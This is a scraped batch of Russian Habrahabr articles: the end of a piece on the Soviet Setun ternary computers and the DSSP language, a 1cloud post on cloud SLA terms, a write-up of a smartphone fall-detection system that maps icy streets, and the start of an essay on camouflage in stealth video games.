моделировать любое число между -387 420 489 и 387 420 489 . Двоичному компьютеру требуется как минимум 29 битов для достижения такой мощности. Разработка Сетуни длилась два года, несмотря на то, что система была способна производить операции уже через десять дней с начала испытаний, а в то время подобное было беспрецедентным. Всего было выпущено около 50 машин. И хотя компьютеры Сетунь безотказно работали в течение многих лет в экстремальных российских климатических условиях, проект разрывали противоречия. В большей степени из-за неспособности завода-изготовителя оправдать массовое производство того, что они расценивали как дешёвую область науки и "плод университетской фантазии". Думаю, можно с уверенностью предположить, что Россия тогда просто была не готова понять потенциальную важность вычислительных машин. В конце концов, машины Сетунь были заменены двоичными аналогами, которые справлялись с вычислениями с той же эффективностью, но стоимость эксплуатации была выше чем в два раза! Что же особенного в тернарной системе? Как я уже рассказал, в ней нет необходимости хранить ведущий бит, точнее трит, чтобы указывать знак. А значит, нет понятия целых чисел со знаком или без знака — всё это просто целое число. Таким образом, вычитание достигается простым инвертированием операнда и применением сложения (которое реализуется аналогично компьютерам с двоичной системой). Эта плюс-минус консистенция также может сократить количество переносов, которые требуются для операций умножения. Ещё одна полезная черта сбалансированной троичной системы (или любой симметричной системы счисления, раз на то пошло) это вероятность реализовать округление чисел с плавающей точкой, явным выделением целой части числа, что даёт возможность упрощённой реализации деления. Это благодаря тому как троичная система выводит дробную часть действительных чисел. Давайте я приведу простой пример. Перевод в код числа 0.2 выглядит следующим образом: 0.+--+ = 0 + (1 * (3^-1)) + (-1 * (3^-2)) + (-1 * (3^-3)) + (1 * (3^-4)) = 0.33 + -0.11 + -0.03 + 0.01 = 0.2 И для записи 0.8 нужно начать с + в старшем разряде, а затем просто инвертировать дробную часть (например, 1 + -0,2): +.-++- = 1 + (-1 * (3^-1)) + (1 * (3^-2)) + (1 * (3^-3)) + (-1 * (3^-4)) = 1 + -0.33 + 0.11 + 0.03 + -0.01 = 0.8 Выше видно, что выделение целой части тритов справа от поразрядной точки эквивалентно округлению: 0,2 становится нулём, а 0,8 становится единицей. Круто! Программирование с тритами и трайтами! Ок, возвращаемся к Сетуни в последний раз. В конце 60-х Брусенцов разработал более современную машину "Сетунь-70", которая воплотила тернарность более чётко. Было введено понятие "трайт", который состоял из 6 тритов (примерно 9,5 битов). Компьютер Сетунь-70 был стековым , и поэтому вместо машинных инструкций, которые намеренно назвали регистрами для ввода и вывода, все операции выполнялись в двух стеках — одном для операндов (вход) и одном для возвращаемых значений (выход). Для того, чтобы приспособить этот дизайн, машинные инструкции были написаны в обратной бесскобочной нотации (обратной польской нотации или постфиксной записи). В конце 70-х годов, Брусенцов и несколько его учеников разработали язык программирования для Сетунь-70, который назвали Диалоговая система структурированного программирования (ДССП). Проводя своё исследование 4 , я заметил, что это стек-ориентированный язык (что, правда, совсем не удивительно), аналогичный Forth и использует обратную польскую нотацию. Это позволяет писать программы на языке относительно высокого уровня, но продолжать чувствовать себя "низкоуровнево". Настолько, что у его авторов было следующее сообщение: ДССП не был изобретен. Он был открыт. Поэтому у языка нет версий, только расширения. Рассмотрим программу на ДССП, которая складывает группу цифр: 1 2 3 4 DEEP 1- DO + Давайте попробуем разложить её. В первой колонке у нас команда, во второй — состояние компьютера после выполнения (стека операндов), а в третьей я даю объяснение: 1 [1] Добавить 1 в стек. 2 [2 1] Добавить 2 в стек. 3 [3 2 1] Добавить 3 в стек. 4 [4 3 2 1] Добавить 4 в стек. DEEP [4 4 3 2 1] Добавить "глубину стека" (4) в стек. 1- [-1 4 4 3 2 1] Добавить -1 в стек. DO [4 3 2 1] Начать цикл, удалить два элемента из стека. Для управления циклом первый элемент применяется ко второму пока не получится 0. + [] Применить оператор "+" до завершения цикла, каждый раз удаляя верхний элемент из стека операндов, применяя + и добавляя вывод в стек возвратов. По окончанию исполнения, стек операндов будет пустым, а в стеке возвратов будет [10] . О ДССП подробней написано на сайте Ивана Тихонова (авторы Сидоров С.А. и Шумаков М.Н.). Будущее Развитие сбалансированных тернарных компьютеров практически перешло в небольшую сноску в анналах компьютерной истории. И в то время, как исследование клеток памяти, способных эффективно представлять три различных состояния было незначительным, некоторые достижения в этой области всё же были. А именно, японские исследователи в конце 90 -х годов описали возможность использовать переход Джозефсона для реализации троичной логики. Этого можно было достичь за счет циркуляции сверхпроводящих токов — положительного (по часовой), отрицательного (против часовой стрелки), или нулевого. Они обнаружили, что это даёт ячейкам памяти "высокоскоростную способность вычислений, низкое энергопотребление и очень простую конструкцию с меньшим количеством элементов, благодаря тернарной операции". Но я не думаю, что в ближайшем будущем вы часто будете сталкиваться с понятием сбалансированного тернарного компьютера. И что ДССП станет прорывом у агрессивных поклонников языков программирования — тоже. Но я считаю, что из прошлого можно извлечь много мудрых решений 5 . (Перевод Наталии Басс ) Сноски: Это зависит от того, как конкретная машина представляет числа. Дополнительный код — это представление чисел в десятичной системе счисления, которое даёт возможность представить от -((2^n) / 2) до ((2^n) / 2) - 1 в n битах. 2) Хотя компьютер Сетунь был первым электронным устройством, использовавшим для работы тернарную систему, стоит отметить, что идея использования такой системы в вычислительных устройствах впервые была популяризована более 100 лет назад. В 1840 году Томас Фаулер построил вычислительную машину целиком из дерева, и она работала с данными, используя тернарную систему. Более точное описание можно найти на сайте российского компьютерного музея . Справочный материал для ДССП на английском языке не слишком доступен, поэтому я предупреждаю, что мои знания ограничены и могут содержать догадки . Мой собственный вклад можно увидеть на computerpionee.rs . Изображение в статье взято с сайта Московского суперкомпьютерного комплекса МГУ , на нём одна из машин Сетунь в работе.
https://habrahabr.ru/post/318468/
habrahabr
«SLA в облаке»: На что обратить внимание
['iaas-провайдер', '1cloud', 'SLA']
Поставщики облачных услуг предоставляют различные гарантии, среди которых есть доступность сервисов и ресурсов, которые указываются в соглашении об уровне обслуживания. Чаще всего это соглашение...
Поставщики облачных услуг предоставляют различные гарантии, среди которых есть доступность сервисов и ресурсов, которые указываются в соглашении об уровне обслуживания. Чаще всего это соглашение обозначают аббревиатурой — SLA, и в этой статье мы поговорим о важных нюансах, которые должны быть прописаны в SLA IaaS-провайдера ( пример SLA 1cloud ). / Flickr / Dennis Skley / CC Все большее число приложений и объем вычислительных задач переходят на IaaS. Поэтому IaaS-провайдеры стараются гарантировать клиентам определенный уровень безопасности и комфорта и подстраиваться под изменяющиеся требования рынка, а также законодательства стран, в которых они предоставляют услуги. Все это приводит к изменениям в SLA. «Некоторые аспекты в SLA облачных провайдеров на сегодняшний день устарели или, более того, вызывают замешательство. Например, есть поставщики, которые в своих SLA прописывают запрет на распространение информации о сбоях в работе инфраструктуры, — рассказывает специалист в области облачных сервисов Дэвид Линтикум (David Linthicum). — Что совершенно не помогает ни самому провайдеру, ни его клиентам, поскольку сложно назвать такие условия честными». В попытке стандартизировать и предоставить рекомендации по составлению соглашения об уровне обслуживания Европейская комиссия начала продвижение документа, целью которого является обеспечение большей прозрачности для бизнесов при работе с облачными сервисами и изучении SLA. Инициатива получила название SLALOM и, как отмечает CIF, она позволит «снизить неопределённости» при миграции инфраструктуры в облако. В новом документе собраны предложения и практики от влиятельных игроков облачного рынка. «Команда составила список терминов из сферы облачных вычислений, которые покрывают все аспекты отношений между провайдером и клиентом», — говорит Оливер Баррето (Oliver Barreto) из Atos. Сам документ SLALOM вы можете найти по ссылке , а далее мы разберем несколько первоочередных пунктов, на которые следует обратить внимание провайдеру при составлении своего соглашения об уровне обслуживания. Уровень доступности В SLA облачного провайдера должны быть определены ключевые метрики, описывающие работоспособность облачного сервиса. Речь идет о доступности сервиса, количестве пользователей, способных получать доступ к сервису одновременно, а также времени, необходимом для обработки транзакций пользователей. Например, IaaS-провайдер может гарантировать доступность приложений 99,5% времени. Также следует обозначить временные рамки, в которые этот уровень доступности обеспечивается, чтобы у клиентов не возникало вопросов. Если продолжать пример, то провайдер может обеспечивать доступность приложений до 99,5% времени с 8 часов утра до 8 часов вечера в будние дни. Этот параметр имеет свое название — согласованное время работоспособности услуги, или СВР. Однако отметим, что при выборе провайдера обращать внимание только на «процентовку» не следует, нужно также учитывать, насколько провайдер готов к решению возникающих проблем и трудностей. Например, мы в компании 1cloud предлагаем резервное копирование , выполняющееся раз в сутки, чтобы защитить данные пользователей от утери в случае нештатных ситуаций. Копирование выполняется на удаленный дисковый массив, что делает данные доступными для восстановления даже при недоступности файловой системы сервера (и в случае выполнения пользователем необратимых действий). Исключения В SLA необходимо прописать допустимые условия, при которых провайдер не гарантирует указанные доступность и производительность. Поскольку этот раздел освобождает поставщика от выполнения своих обязанностей, список ограничений должен быть строгим и коротким. Например, ограничение доступности во время проведения плановых технических работ и обновления программного обеспечения, а также в случае возникновения непреодолимой силы, в частности, отказа оборудования третьих лиц. Еще один вариант — отказ программного обеспечения вследствие нарушения клиентом рекомендаций, прописанных в документации к продукту. Также в SLA следует отметить гарантии доступности интерфейса управления виртуальной инфраструктурой. Это позволит избежать недопонимания и других инцидентов в случае, когда клиенту потребовалось экстренно увеличить потребляемые мощности, а консоль самообслуживания оказалась недоступной. Мониторинг Пропишите в соглашении все, что касается безопасности и надежности хранения данных. Речь идет о достоверности и конфиденциальности информации, а также сохранности данных. Определите права доступа к информации, и круг лиц, несущих ответственность в случае её повреждения. Предоставьте информацию об инструментах восстановления после аварии, а также оговорите процедуру сообщения о сбоях и выходе оборудования строя: формат и временные рамки. Укажите, какие меры для восстановления функционирования систем будут применяться. Компенсации Провайдер должен определить спектр компенсаций, которые он выплачивает в случае нарушения показателей доступности и других параметров качества. Ответственность провайдеры должна быть установлена в размере не менее, чем 100% оплаты за отчетный период при длительном простое. Например, 1cloud гарантирует 100% возмещение стоимости услуги при доступности сети меньшей, чем 76,98%. Расчеты Многие клиенты сталкиваются с вопросом корректного выполнения расчетов. Чтобы клиент был спокоен и понимал, «что его ждет», то его расчеты не должны расходиться со значениями, предлагаемыми поставщиком. Хорошим вариантом будет использование детальных формул. Также рекомендуем приводить наглядные расчетные примеры. Это поможет ИТ-отделу компании-клиента установить объемы необходимого аппаратного обеспечения и мощностей, а также определиться с ПО для организации. Важно помнить, что соглашения об уровне обслуживания для облачных услуг отличаются от остальных SLA. Недобросовестные поставщики иной раз предпочитают выстраивать отношения по принципу «одно ко многим», подразумевая использование единого SLA и предлагая его всем заказчикам. Такой подход хорош для поставщиков, но совершенно не годится для клиентов со специфичными задачами. P.S. Наш дайджест с 25 материалами о безопасности, работе программистов и опыте создания IaaS-провайдера можно почитать тут . Дополнительные материалы из блога 1cloud : Как мы автоматизировали работу с DNS-записями в хостинг-панели Мифы об облачных технологиях. Часть 1: техподдержка и управление Мифы об облачных технологиях. Часть 2: российские хостеры и защита данных Мифы об облачных технологиях. Часть 3: Говорим о железе Немного о VPN: Краткий обзор программных реализаций
https://habrahabr.ru/company/1cloud/blog/318432/
habrahabr
Система отслеживания степени заледенелости улиц: машинное обучение + Microsoft Azure + Android
['microsoft azure', 'machine learning', 'машинное обучение', 'eventhub', 'apache cassandra', 'android']
Привет всем! Каждую зиму в русских (да и не только) городах появляется зловредный гололед. Множество людей подскальзывается и травмирует различные части тела. Скажете, эта проблема должна решаться...
Привет всем! Каждую зиму в русских (да и не только) городах появляется зловредный гололед. Множество людей подскальзывается и травмирует различные части тела. Скажете, эта проблема должна решаться коммунальщиками — да, так и есть, но они часто не доглядывают за состоянием тротуаров и дворовых тропинок, а может быть и просто не знают, куда смотреть. Чтобы хоть как-то улучшить ситуацию, в решение проблемы все больше должны включаться современные технологии. Возможное улучшение — это приложение, в котором люди могут определить для себя наиболее безопасный маршрут из точки A в точку B, глядя на карту заледенелости. Итак, сегодня поговорим о создании системы оценки степени заледенелости улиц, основанной на статистике падений людей. Под катом машинное обучение, облака и мобильные приложения. Где еще может быть полезно? Позвольте мне назвать еще два применения будущей системы (при необходимых изменениях). Помимо падений, рассматриваемых глобально в городской среде, нам хочется отслеживать состояние наших близких (в особенности престарелых). Здесь информация о падении (инфаркт, потеря сознания и пр.) и немедленное уведомление родственников позволит среагировать как можно быстрее и вызвать скорую помощь бабушке/дедушке, не находясь непосредственно рядом с ними. Еще одним полезным применением окажется получение тренером информации о падениях своих спортсменов на длинных трассах: лыжников, бегунов и пр. Все три галлюцинации полезных по мнению автора случая показаны на картинке выше для более полного осознания проблем. Автор же представляет разбор реализации системы для городского случая и называет ее Sleet Monitor. Система будет реализована в связке мобильного Android приложения и облачной составляющей. Сразу скажу, что весь код находится в репозитории на GitHub В чем сложность? В первую очередь нужно решить вопрос с определением факта падения. Начинка системы будет представлена классификатором падений. Сложность его построения состоит в основном в данных, которые мы получаем со смартфонов. Данные — это показания акселерометра по трем осям, собираемые непрерывно. На картинке ниже показаны два примера полутора-секундных фреймов: левый соответствует падению, правый — не падению. Ввиду различных характеристик смартфонов данные могут быть разреженными, причем разрешение по времени непостоянно для одного и того же устройства (операционная система по определенным причинам не возвращает данные с одной и той же частотой на многих устройствах). Также направление осей акселерометра может варьироваться от устройства к устройству. Плюсом к перечисленному будет проблема «замораживания» приложения (в заблокированном режиме ОС может очень редко выдавать показания акселерометра, а может неожиданно принести целую пачку данных). На данный момент решена первая и частично последняя проблема путем использования интерполяции данных. Ввиду перечисленных трудностей и того факта, что разработать классификатор падений, основываясь на некоторых эвристиках трудно, взгляд упал на подходы с машинным обучением. Сбор данных Чтобы машину чему-то научить, нужно показать ей это что-то, и еще лучше указать, что хорошо, а что плохо. Для сбора данных было написано отдельное Android приложение, собирающее показания акселерометра с максимально возможной частотой и записывающее их в файл. Размер фрейма не превышает 1.5 сек (автор предположил, что в среднем человек падает на протяжении этого промежутка времени). Данные представляют собой строки следующего формата: time_offset: x_value y_value z_value ... time_offset: x_value y_value z_value is_fall . Показания акселерометра нормированы по максимально возможному для конкретного типа акселерометра значению. Кол-во кортежей (time_offset, x_value, y_value, z_value) в строке зависит от частоты предоставления данных операционной системой. Здесь стоит заметить, что вся выборка была собрана на смартфоне LG Nexus 5, который выдает стабильно данные раз в 5 мсек при не заблокированном экране. Таким образом, за 1.5 секунды мы имеем 300 кортежей данных с пометкой времени. Все данные приходилось собирать путем самостоятельных падений при помощи своего друга Кручинина Дмитрия. Таким образом, собранный датасет основан на выборке падений двух людей. Все собранные данные (грязные и очищенные) находятся в директории ml/data в репозитории. Дополнительные функции приложения В интерфейсе приложения можно указать, что в данный момент записывается — падение или не падение. Предусмотрена также система избавления от некорректных данных — кнопки 1 , 2 , 3 предназначены для добавления в конец файла метки Label1 , Label2 , Label3 , сигнализирующих о том, что последние измерения в кол-ве 1, 2 или 3 соответственно некорректны. В дальнейшем исследователь удалит эти данные из файла. Также существует отдельная метка GOOD , которую человек может поставить, чтобы сказать, что все предыдущие измерения гарантированно корректны. Еще на экране имеются поля Falls и Non-Falls , соответствующие кол-ву записанных измерений в данной сессии приложения по каждому типу состояния. При новом запуске приложения система запишет в файл строчку DataWriter was initialized , которая позволит исследователю увидеть новую сессию приложения и в случае ошибок в данных сузить область поиска для их удаления. Здесь еще стоит отметить интерфейс со звуковыми сигналами в приложении. Он был разработан специально для сбора позитивных (падения) примеров. Когда человек осуществляет падение, ему нельзя доставать смартфон из кармана чтобы остановить или начать запись, ибо в таком случае данные будут испорчены (не соответствуют реальности). Картинка снизу поясняет принцип работы интерфейса со звуковыми сигналами. Детальное пояснение интерфейса с сигналами После нажатия на кнопку PLAY система ждет, когда колебания смартфона станут незначительными — человек держит телефон в руке, либо кладет его в карман перед началом записи. Как только колебания стали незначительными, система понимает, что человек готов к записи, и она тоже готова — издает короткий звук Beep. Дальше идет состояние Idle (безделие), которое длится до тех пор, пока человек не начнет двигаться, либо не начнет колебать смартфон в руке. Тогда система начинает записывать данные (на рисунке эта стадия называется Failing ). Запись происходит на протяжении 1.5 секунд и завершается длинным сигналом Beep (система записала данные в файл). Пока человек лежит, он не двигается (опять стадия Idle ). Как только человек начал двигаться, а вместе с ним и смартфон в кармане, система понимает, что человек поднимается. С этого момента цикл повторяется. Для записи не падения все работает точно так же. Архитектура Поскольку система основана на статистических данных со множества пользователей, ей необходима поддержка с воздуха центральная система, обрабатывающая данные. Она представляет из себя несколько машин и сервисов, развернутых в облаке Microsoft Azure, которые делятся на три типа в соответствии с их задачами: Получение данных со смартфона Детектирование падений REST API получения карты заледенелости улиц Все машины находятся в одной сети и «общаются» через базу данных Apache Cassandra . Эта NoSQL DBMS была выбрана благодаря ее главному свойству — она эффективно работает с большим потоком данных, приходящих в реальном времени со множества устройств. Сразу здесь стоит упомянуть дизайн базы данных. В базе имеется две таблицы со следующими схемами: sensor_data(user_id: varchar, x: float, y: float, z: float, lat: double, lon: double, timestamp: bigint, fall_status: int) . Здесь хранятся все кортежи данных, приходящих с Android устройств. Почему храним все? Считается, что эти данные могут пригодиться в будущем, например, для обучения какого-либо алгоритма без учителя. Физическое хранение строк в этой таблице расположено по убыванию значения timestamp , чтобы можно было эффективно работать с более свежими кортежами данных. update_info(user_id: varchar, is_updated: boolean) . Эта таблица нужна только для того, чтобы приложению-детектору определить, от каких пользователей пришли новые данные. Добавлена, чтобы не искать в большой таблице sensor_data свежие записи по каждому пользователю, а сразу знать, у кого есть обновления. На картинке изображена полная архитектура системы, а за ней следует более детальное описание каждой составляющей. Немного справки по текущему состоянию облачной инфраструктуры На данный момент в Microsoft Azure развернута одна Linux-машина с пакетом DataStax Enterprise , включающая в себя предустановленную Apache Cassandra. Характеристики машины: 4-х ядерный 2.4 GHz Intel Xeon E5-2673 v3 (Haswell), 14 Гб RAM, 200 Гб SSD. Автор арендует машину на средства, получаемые ежемесячно по программе Microsoft Bizspark . Получение данных со смартфона Для отправки и получения данных со смартфона был использован Azure Event Hub , специально предназначенный для большого потока коротких сообщений. На серверной стороне имеется машина с запущенным Java приложением, которое читает данные из очереди Event Hub`а и записывает их в базу данных Cassandra. Данные представлены в формате JSON. Каждое сообщение от клиента содержит показания акселерометра, временные метки и GPS-координаты для всех измерений, полученных в промежутке 1 минуты. Замечание Если собираетесь реализовывать Azure Event Hub отправителя на Андроиде, то автор может посоветовать сразу смотреть на HTTPS API, поскольку на Андроид нет (или автор не смог найти) подходящей реализации AMQP протокола, который используется всеми Azure Event Hub SDK. Детектор падений Для обработки потока данных от пользователей в облаке запущена машина с Python приложением. Почему именно Python? Просто потому что исследования с машинным обучением проводились на Python с использованием библиотеки scikit-learn, а переписывать приложение с использованием других технологий только для того чтобы запустить его на сервере на данном этапе было лишним. Детектор падений работает по принципу скользящего окна (англ. — sliding window). Окно скользит по интерполированным данным (да, каждый кусок свежих данных, взятых из базы, интерполируется по причине проблемы, описанной вначале) и запускает классификатор для определения факта падения. Решение классификатора 1 (падение) или -1 (не падение) записывается обратно в базу данных для первого извлеченного кортежа в исследованном куске данных. Естественно, вся эта процедура выполняется независимо для каждого пользователя, который определяется по user_id в таблице. Классификатор Отдельно стоит поговорить про классификатор. Он основан на классическом (без использования нейронных сетей) алгоритме машинного обучения. Качество классификации оценивается по метрике F1-score. В поле исследования попало следующее: Алгоритм машинного обучения и его параметры . Кандидатами на звание лучшего классификатора падений были выставлены Random Forest Classifier, Support Vector Classification/Regression и Linear Regression. После проведения нескольких запусков было выявлено, что Random Forest Classifier с кол-вом деревьев 10 и остальными параметрами по умолчанию (которые установил scikit-learn) показывает наилучшие результаты. Датасет . Здесь варьировались тестовая и тренировочная выборки по соотношению <кол-во позитивов>:<кол-во негативов> и менялся набор самих негативов. Финальная тренировочная выборка негативов включает примеры простых движений смартфона в воздухе, хождений по комнате, подбрасываний, а также примеры, на которых классификатор давал ложные срабатывания в боевых условиях (т.е. когда весь цикл системы был реализован, а автор намеренно делал хождения по комнате и прыжки без падений). Итого датасет составлял 84 позитивных примера и 400 негативных. Из них 80% случайных примеров отводилось на обучение, остальные 20% — на тестирование. Набор осей акселерометра . Исследования показали, что набор осей {x, z} дает наилучшие результаты в классификации, что также положительно влияет на сокращение интернет-трафика пользователя. Но здесь стоит оговориться. Дело в том, что данные падений собирались автором при постоянном положении смартфона в кармане верхней его частью вниз. Именно это направление соответствует направлению y на LG Nexus 5. Алгоритм переобучался на данных по оси y , и, несмотря на то, что он показывал неплохие результаты на тестовой выборке, в боевых условиях он давал очень много ложных срабатываний при простом повороте смартфона «вниз головой». Эту проблему можно решить путем создания более репрезентативной выборки. Но на данный момент результат с учетом только двух осей очень даже неплохой. Параметры интерполяции . Как было сказано ранее, ввиду большого зоопарка устройств на Android приходится работать с разреженными данными. Здесь помогает линейная интерполяция. И раз уж мы беремся за интерполяцию, неплохо было бы попробовать уменьшить разрешение данных для сокращения интернет-трафика со стороны пользователя и для уменьшения серверной нагрузки на детектирование падений. Напомню, базовый датасет содержит полутора-секундные фреймы данных, разбитые на 300 кортежей (x, y, z, timestamp) (один кортеж в 5 мсек). При уменьшении разрешения до одного кортежа в 50 мсек наблюдается все еще приемлемое качество классификации, но объем данных сокращается в 10 раз! Итоговое максимальное по нескольким тренировочным эпохам значение F1-score при всех указанных наилучших параметрах и с учетом намеренного разрежения данных в 10 раз оказывается на уровне ~90%. Без разрежения — ~95%. Замечание по интернет-трафику Объем данных, отправляемых с Android приложения в бинарном представлении, небольшой. В самом деле, 2(кол-во осей) * 4 байта(размер значения по оси) + 4 байта(размер timestamp) + 8 байт(размер координат) = 20 байт — размер одного кортежа данных. 1000 мсек / 50 мсек = 20 — максимальное кол-во кортежей за секунду. 20 байт * 20 = 400 байт в секунду. Дальше 400 байт * 60 * 60 * 24 * 30 = 1 036 800 000 байт или ~980 Мб в месяц. Это при условии, что пользователь ходит 24 часа в сутки, и приложение непрерывно отправляет данные. Но на деле в среднем пользователь проводит не больше трети суток в движении. С учетом этого грубого допущения получаем нагрузку на трафик в районе 300 Мб, что можно считать весьма адекватным. REST API и отображение точек на карту Для получения обновлений всеми пользователями приложения Sleet Monitor о степени заледенелости улиц был написан простенький REST API на Java с использованием библиотеки spark-java . Приложение обращается все к той же базе данных Cassandra и достает свежие координаты тех точек, для которых значение fall_status = 1 (в этом месте было обнаружено падение). По-хорошему, здесь можно провести некоторую очистку данных вроде проверки на совпадение координат нескольких точек. На данный момент без дополнительной обработки координаты добавляются в R-Tree для быстрого поиска по прямоугольной области, которая приходит в запросе от клиента. Чтобы отобразить точки на карте моим товарищем Бондарем Богданом был реализован принцип heat map, позаимствованный из примера Google для Android. Суть принципа заключается в том, что при изменении масштаба карты в сторону увеличения области обзора отрисованные точки схлопываются так, что там, где чем больше плотность точек в окрестности, тем крупнее выглядит пятно на карте. На рисунке ниже показан пример отрисованных точек падений. Это настоящие падения, «нападанные» автором на снегу специально для демонстрации работы системы. В красных областях автор намеренно падал несколько раз, чтобы показать, что классификатор падений работает неплохо, и при записи не было ниодного ложного срабатывания, при том что запись производилась непрерывно с одинаковой скоростью обхода улиц. Заключение Итак, небольшое улучшение в городской жизни людей сделать возможно. Система отслеживания падений людей реализована. Естественно, здесь можно и нужно сделать много оптимизаций, чтобы снизить как серверную нагрузку, так и нагрузку на интернет-трафик пользователя — натренировать модель сразу на более разреженных данных, тем самым сократив вычислительные затраты на детектор падений; увеличить шаг бегущего окна в детекторе; для сокращения трафика передавать данные с Android устройства в бинарном виде, а не как сейчас в JSON; и др. Улучшения всегда можно делать, многие из них тривиальные, и при этом могут принести значительное снижение затрат как на серверную часть, так и по трафику пользователя. Цель разработки была в том, чтобы получить опыт запуска полного конвейера, включающего мобильное приложение и высоконагруженную серверную часть, обрабатывающую огромный поток данных в реальном времени. Но чтобы запустить эту систему в реальных условиях, нужно значительно расширить парк машин в облаке и распространить мобильное приложение с достижением высокой концентрации пользователей хотя бы в одном городе. А с монетизацией пока ничего не ясно. Предвидя эту проблему на этапе зарождения идеи, сразу было решено делать проект открытым. Напомню, весь код находится в репозитории на GitHub . Цель написания дебютной для автора статьи на Хабрахабр заключалась не только в том чтобы рассказать о полученном опыте построения подобных систем, но и в том, чтобы получить какую-то обратную связь от сообщества. Поэтому комментарии очень приветствуются, равно как и предложения по дальнейшему развитию системы. Спасибо за внимание.
https://habrahabr.ru/post/318470/
habrahabr
Камуфляж и обратная связь в видеоиграх
['камуфляж', 'стелс', 'stealth gameplay', 'скрытность в играх']
Я много играл в Tom Clancy's The Division. Друзья не поспевали за моим ритмом, поэтому долгие часы я провёл, бродя в одиночку по Тёмной Зоне. Опыт был довольно болезненным: группы игроков не...
Я много играл в Tom Clancy's The Division . Друзья не поспевали за моим ритмом, поэтому долгие часы я провёл, бродя в одиночку по Тёмной Зоне. Опыт был довольно болезненным: группы игроков не колеблясь убьют вас, а одиночных игроков поощряют к этому, как только вы отвернётесь. Чем дольше я играл, тем сильнее развивалась привычка оставаться как можно более невидимым для других игроков. Я осознал, что эта привычка появилась благодаря курсу альпийских стрелков, пройденному во время службы в французской армии. Разумеется, я не могу раскрывать некоторые аспекты тактики отрядов и общей стратегии, потому что иначе я нарушу соглашение о неразглашении информации. Однако техники камуфляжа хорошо известны во всём мире, и о них рассказывают даже самые специализированные веб-сайты. Я хочу поделиться этими знаниями и вкратце оценить уровень их использования в видеоиграх для создания стелс-геймплея или наоборот, намеренное игнорирование для обеспечения лучшей обратной связи в играх любого жанра. Немного истории Википедия определяет камуфляж как «использование любых сочетаний материалов, расцветки или скрывающего освещения, делающих животных или объекты малозаметными (защитная окраска), или похожими на что-то другое (мимикрия)» . Многие виды животных получили защитную окраску или овладели мимикрией в процессе эволюции. Они помогали им скрываться от хищников или жертв. До 19-го века было всего несколько примеров использования камуфляжа в военном деле: старейшим является покраска кораблей-разведчиков в голубой цвет во время Галльской войны , чтобы они лучше сливались с морем. В 19-м веке британская армия первой официально сменила сияющие мундиры на цвет хаки, который больше подходил для жаркого климата колоний. Оказалось также, что хаки лучше скрывает одетых в него солдат. Однако техники камуфляжа широко стали использоваться только после того, как французская армия создала камуфлированные войска во время Первой мировой войны. Согласно Википедии, термин «камуфляж» возник из жаргонного парижского выражения, означавшего «пустить дым в лицо». Аниме Ghost in The Shell (1995 год) Позже техники камуфляжа были значительно улучшены, чтобы противостоять параллельной эволюции распознающих устройств. Например, суда теперь изготавливаются из специальных материалов, затрудняющих тепловое обнаружение. Канадская униформа ткётся процедурно, чтобы снизить вероятность обнаружения современными устройствами, способными распознавать шаблонные рисунки ( CADPAT ). Несколько лет назад Токийский университет представил плащ-невидимку , использующий оптический камуфляж для симуляции мимикрии. Это открытие можно считать первой технологией универсального камуфляжа. Принципы Для запоминания основных принципов камуфляжа во французской армии используется мнемоника FOMECBOT ( F orme — форма, O mbres — тени, M ouvements — движения, E clats — блики, C ouleurs — цвета, B ruit — шум, O deurs — запахи, T races — следы). После завершения моей службы были добавлено несколько вариаций. Я не смог найти англоязычных аналогов, если вы их знаете, поделитесь. Формы и цвета Принцип: Раньше военная униформа раскрашивалась в яркие цвета для восхваления солдатов и привлечения новых рекрутов. Однако каждая среда состоит из определённой цветовой палитры, которая редко совпадала с цветами этой униформы. Поэтому солдаты были легко заметны даже в густом лесу. Силуэт человека тоже выделяется на фоне, вне зависимости от цвета его одежды, потому что мы, естественно, распознаём черты других людей. Поэтому в большинстве униформ используется не только цветовое соответствие среде, но и различные паттерны искажающие силуэт человека . Создание стелс-геймплея: Большинство стелс-игр основано на визуальном обнаружении игрока персонажем NPC конусовидной областью видимости различной длины и ширины. В некоторых играх симуляция идёт ещё дальше. В части эпизодов серии Metal Gear есть, например, бонусы скрытности , соответствующие паттернам и средам, в которых находится персонаж. Выбор паттерна непосредственно влияет на маршрут, к которому подталкивают игрока, улучшая автономность — тактический аспект игры и её реиграбельности. Metal Gear Solid 3: Snake Eater Metal Gear Solid: Peace Walker Серия Metal Gear также хорошо известна своими камуфляжными устройствами, делающими персонажа игрока (почти) невидимым , так же, как животные используют мимикрию. Этот механизм используется во многих играх, например, в Ghost In The Shell: First Assault или в серии Aliens vs Predator . Он стал чем-то вроде «особого режима», исключающего большинство принципов цвета и формы камуфляжа. Однако использование таких устройств всегда компенсируется ограничениями , потому что невидимость даёт огромное преимущество, особенно в многопользовательских играх: Персонаж игрока чётко виден на близком расстоянии. Персонаж игрока остаётся невидимым в течение нескольких секунд, устройству требуется время на перезарядку. Персонаж игрока невидим только когда стоит на месте. Персонаж игрока легко обнаружить с помощью инфракрасных устройств. Персонаж игрока не может использовать другой предмет. Устройство может быть выведено из строя электромагнитным импульсом. И т.д. В серии Hitman , которая мне особенно нравится, используется изменение нарратива . Контекст подразумевает роль среды, а одежда агента 47 определяет форму и цвет его камуфляжа. Незнакомец в чёрном костюме, бродящий с портфелем рядом с виллой, привлечёт внимание охраны. Переодевшись ремонтником, агент становится незаметным. В своей статье Станислав Костюц (Stanislav Costiuc) называет такой тип геймплея " социальным стелсом " и анализирует его использование в серии Assassin's Creed . Разрушение стелса для улучшения обратной связи: Простейший способ выделения важного элемента — раскрашивание в контрастный цвет, чтобы он выделялся в сцене . Игрок легко увидит его с большого расстояния и догадается, что элемент интерактивен, даже не зная, в чём заключается его интерактивность. Tom Clancy’s The Division Мне особенно нравится пример с контейнером для опасных веществ из Tom Clancy’s The Division , который персонажи игроков используют для хранения вещей, полученных в Тёмной Зоне. Быть авантюристом всегда рискованно, даже если вы играете группой. Однако цвет контейнера дополнительно показывает, что у игрока есть вещи, и его убийство может быть выгодным. Так как игрок стремится быть как можно более незаметным, эта деталь мотивирует его игнорировать малоинтересные вещи и поддерживает напряжение при поиске ценных предметов. Однако, как подчёркивает Петер Ангштадт, следует заметить, что раскрашивания важного элемента обычно недостаточно для снижения визуальной запутанности . Например, взрывающиеся бочки (красные) отлично выделяются в заснеженном окружении, но плохо различимы в тёмных помещениях. Поэтому он рекомендует также настраивать насыщенность и освещённость каждого объекта. Движение, тени и блики Принцип: Хотя формы и цвета являются основными принципами техник камуфляжа, не стоит недооценивать другие визуальные принципы — движение, тени и блики. Мы инстинктивно обращаем внимание на движения , потому что всё движущееся может представлять собой угрозу. Внезапные или длинные перемещения могут обнаружить отряд вне зависимости от цвета и паттернов его 